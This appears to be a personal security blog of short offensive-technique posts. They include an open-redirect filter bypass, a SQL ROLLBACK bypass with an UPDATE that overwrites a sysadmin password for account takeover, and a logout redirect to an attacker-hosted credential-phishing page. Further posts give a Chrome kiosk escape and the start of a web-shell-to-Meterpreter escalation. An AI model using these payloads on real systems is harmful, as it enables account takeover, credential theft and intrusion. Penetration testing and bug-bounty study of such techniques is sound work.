Filter Bypass for Open Redirect

Trying to add a redirect payload through a URL parameter (but it's just getting harmlessly tacked to the end of the domain)? Bypass by adding the same parameter twice. When the link is displayed on the page, the browser adds a comma and breaks up the pattern:

So, this fails:

whatever.com/cc?DestPage=/"><a%20href="badsite.com">

 

...because it redirects to whatever.com/badsite.com.

But, this succeeds, redirecting to badsite.com:

whatever.com/cc?DestPage=">&DestPage=<a%20href="badsite.com">

PS This also works for XSS payloads, though in this case, wouldn't require the double-parameter trick. It's probably more common for open redirects, but let me know!

 

 

SQL Rollback Hack

Ever seen an application display a message like "changes will be rolled back", particularly after a SQL operation? This may be a clue that access is controlled by the SQL transaction keyword ROLLBACK. Here's how to exploit it and persist your changes!

First, a little bit of background...(tl;dr: there's a cheatsheet at the bottom)

Normally, the ROLLBACK keyword is used for error-catching when performing a series of SQL statements. The syntax goes BEGIN [statement1, statement2, etc.] COMMIT. You can put a ROLLBACK in between any of those statements to undo all of the statements leading up to it if one happens to fail. For example, let's say you're deleting records from parent and child tables. You'd want to wrap both delete statements in a BEGIN/COMMIT, so that if, say, the parent record was deleted successfully but the child record was not (maybe some foreign key was violated or some other error), all changes to both records can be undone using ROLLBACK. This safely preserves the relationship of the tables, and prevents data from "breaking". No parent or child record is left an orphan in this case.

ROLLBACK is great, but should not be used for preventing a user from making changes to the database. It's not made for access control. Here's how to bypass it, assuming it's (most likely) using a BEGIN and ROLLBACK block around all the user input (whether that may be SQL injection, or whatever way you've found to run SQL).


Inject a "commit" to perform a simple update. If it gives an error about mismatching BEGIN and COMMIT statements, that's confirmation it's vulnerable and you've succeeded in changing the data. In this case, we're updating a sysadmin's encrypted password to be the same as our own password so we can take over the account:

UPDATE User SET Password = 'f233dfgxm8913=' WHERE Name = 'sysadmin'

Transaction count after EXECUTE indicates a mismatching number of BEGIN and COMMIT statements. Previous count = 1, current count = 0


Success! But what about more complex statements, such as CREATE or ALTER? There will be error messages like the statement "must be first statement in query batch" or it's "not allowed in multi-statement transaction." Well, for the CREATE, wrapping the statement in an EXEC and then committing works. My guess is that this is because EXEC is designed to work within the transaction first, making the command technically "first". Either way, it works. But only if the COMMIT is added after.

EXEC('CREATE PROCEDURE Hacked(@uhoh VARCHAR(1)) AS BEGIN SELECT @@VERSION END') COMMIT;

As for the "multi-statement transaction" error, we can COMMIT first, and then wrap the statement in EXEC. But, only if the COMMIT is added before.

COMMIT EXEC('ALTER DATABASE clientsdb SET TRUSTWORTHY ON')


TL;DR Cheat Sheet:

1. To complete basic DELETE, INSERT, and UPDATE statements, use a COMMIT after your statement

2. To complete statements such as CREATE PROCEDURE that contain a BEGIN statement, use EXEC('[your statement]') and then COMMIT

3. To complete ALTER/CREATE or DELETE DATABASE (uh...) use COMMIT and then EXEC('[your statement]')

Buffer Overflow Practice

Although it can seem daunting when you're staring at hex and registers for too long, at the end of the day, a buffer overflow is like any other remote code execution vulnerability. You're only need to do two things:

1.) Finding a way to input or store your own shell code

2.) Finding a way to execute that code

For example, creating a web shell requires a way to input the code (i.e. using an unrestricted file upload - preferably stored somewhere public facing) and then a way to execute it (i.e. navigating to the address where the web shell is stored). 

So, the same goes for a NOP-sled buffer overflow: we input the code (i.e. input overflows into the ESP register and crashes) and then find a way to execute it (i.e. store a memory address in the EIP register that refers to a JMP instruction to run what's in the ESP register). It's the same two steps.

Microsoft ID Open Redirect

Recently I submitted a Microsoft Bug Bounty report for an Open Redirect vulnerability in their Identity product. I found it by searching for keywords in intercepted traffic in Burpsuite like "redirect", "dest", "url", etc. The finding was rejected by their security team, and I have approval to post about it here. I can understand why this might be considered an acceptable risk; it happens during logout, so no credentials can automatically be passed onto an attack server in this way. It would definitely require social engineering effort to exploit it. I tried out setoolkit to spoof the sign-in page and redirect them there (by spoofing the page URL that ends with prompt=sign-in and not none or select_account, so that both username and password can be collected, otherwise it auto-populates the username). (However, there are already protections against changing a similar parameter for their sign-in process, so I'm not sure why that functionality wouldn’t be extended to sign-out as well...)

Edit the URL to redirect to ATTACKSERVER/signinGET.html, where the spoof page is located:

User logs in:

Page sends credentials as parameters:

Attacker can view credentials:

Location-based Mobile Game Workaround

Here is a way to obtain items on-the-go while playing a popular location-based mobile game. Frequently I find that as a car passenger, I can use the game for some things at high speeds, but the actual stops/locations that offer the monetized items don't allow me to keep the items even if I manage to select them while driving by. It's important to me to be able to do this, because I don't want to spend money on the game and I live in a rural area that doesn't have a lot of these stops. However, if I turn my location services off while passing one of these locations, I'm able to receive the items! On a few occasions, I've even been able to "sit" on it with the location off, “exit” the shop in-game, then once the timer renews, select it again to collect more items later, no matter where I physically am. In this way I can play the game for free and conveniently without having to park at specified locations. (Note that location spoofing has become more difficult without having to root your phone or download old sketchy versions of services, which could be a security hazard.)

I will edit this to include details if they end up patching it…

ctrl + s to Escape Chrome Kiosk

Consider a tablet at a store kiosk where the owner wants to display one particular web page to users. They don't want the user to have access to any other programs or files on the tablet. In this case, they are running Chrome in a restricted mode, using this command:

 chrome.exe --kiosk "keepuseronthispage.com"

In theory, this is a restricted mode doesn't allow right-click context menu, doesn't show the browser address bar or the task bar, and keeps the user out of the system. So... how do we access the rest of the system? Well, if it's a Windows machine, as in this case, kiosk mode can easily be bypassed if the user presses ctrl + s.




Use the "save as" file explorer window that pops up to run cmd.exe. Now you have access to all the local resources.

NOTE: This doesn't seem to work on Mac OS...which is probably for the best.

Running Unicorn Payload Through Web Shell

This for escalating a low-privileged web shell to a Meterpreter shell. In this example, the Powershell execution policy was changed (using the web shell) to RemoteSigned using powershell Set-ExecutionPolicy. The normal method of storing a unicorn reverse-https payload wasn't working, since the file couldn't be written to the server (either through permissions restrictions or being picked up by antivirus).

Take the contents of the generated unicorn payload from the file, and run it as a Powershell command in the browser: